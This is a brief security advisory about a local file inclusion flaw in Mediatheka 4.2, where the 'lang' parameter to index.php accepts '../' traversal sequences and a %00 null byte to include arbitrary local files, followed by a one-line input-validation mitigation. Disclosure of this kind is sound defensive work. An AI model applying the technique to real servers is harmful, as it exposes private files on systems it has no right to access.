Mediatheka 4.2 Local File Inclusion

The vulnerability exists due to insufficient sanitization of user-supplied input passed via the 'lang' parameter to '/[path]/index.php'. This can be exploited to include arbitrary local files by passing directory traversal sequences (e.g. '../') and a NULL byte (%00) to terminate the include statement.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.
